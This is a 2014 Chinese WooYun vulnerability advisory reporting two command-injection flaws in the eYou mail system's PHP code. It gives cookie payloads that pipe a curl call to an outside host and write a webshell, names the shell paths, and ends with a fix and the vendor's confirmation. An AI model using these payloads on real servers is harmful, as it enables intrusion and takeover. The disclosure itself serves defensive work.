漏洞概要 关注数(39) 关注此漏洞
缺陷编号: WooYun-2014-70551
漏洞标题: 亿邮邮件系统命令执行可GetShell两处
相关厂商: 北京亿中邮信息技术有限公司
漏洞作者: 路人甲
提交时间: 2014-08-01 10:16
公开时间: 2014-10-30 10:18
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 第三方不可信程序 php源码审核 命令执行+写shell
漏洞详情
披露状态:
2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-30: 细节向公众公开
简要描述:
亿邮邮件系统命令执行可GetShell两处
详细说明:
亿邮的使用量就不多说了,用户量非常可观啊
但是就是问题还很多,安全方面基本上还停留在在几年前的状态
虽然估计发布了新版本,但是用户还是使用问题较多的老版本较多。
第一处命令执行:
文件/user/autoComplete.php
直接从cookie中获取参数USER
然后赋值给uid和domain
然后看看函数readAddress($uid, $domain);
最后,uid和domain又进入了函数getUserDir($uid,$domain)
我们继续跟进getUserDir
最后uid和domain进入了popen
$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
这里的/var/eyou/sbin/hashid是亿邮系统执行命令的
此时,uid和domain没有经过任何过滤直接进入了命令,导致任意命令执行
漏洞利用:
设置cookie为:
UID=1|curl http://**.**.**.**/test.txt>>testfortest.php
然后访问localhost/user/autoComplete.php即可
此时会在localhost/user/下生成testfortest.php
shell地址为:
localhost/user/testfortest.php
第二处命令执行:
文件/user/storage_explort.php
跟进getCookieUserValue函数:
跟进cookie函数:
整个过程没有对cookie 进行过滤
直接就爱那个cookie中USER的值取出来,然后进入了getUserDirPath函数
来看看getUserDirPath函数:
uid和domain直接进入了命令,导致命令执行。
漏洞利用:
将cookie设置为:
USER=UID=1|curl http://**.**.**.**/test.txt>>testfortest1.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成testfortest1.php文件
shell地址为:
localhost/user/testfortest1.php
漏洞证明:
修复方案:
在$handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');执行命令时
过滤输入的参数
可以使用escapeshellarg或者escapeshellcmd对输入的参数进行过滤。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-08-04 17:35
厂商回复:
存在于旧版系统中,亿邮解决方案,尽快联系用户修补,非常感谢提供!
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值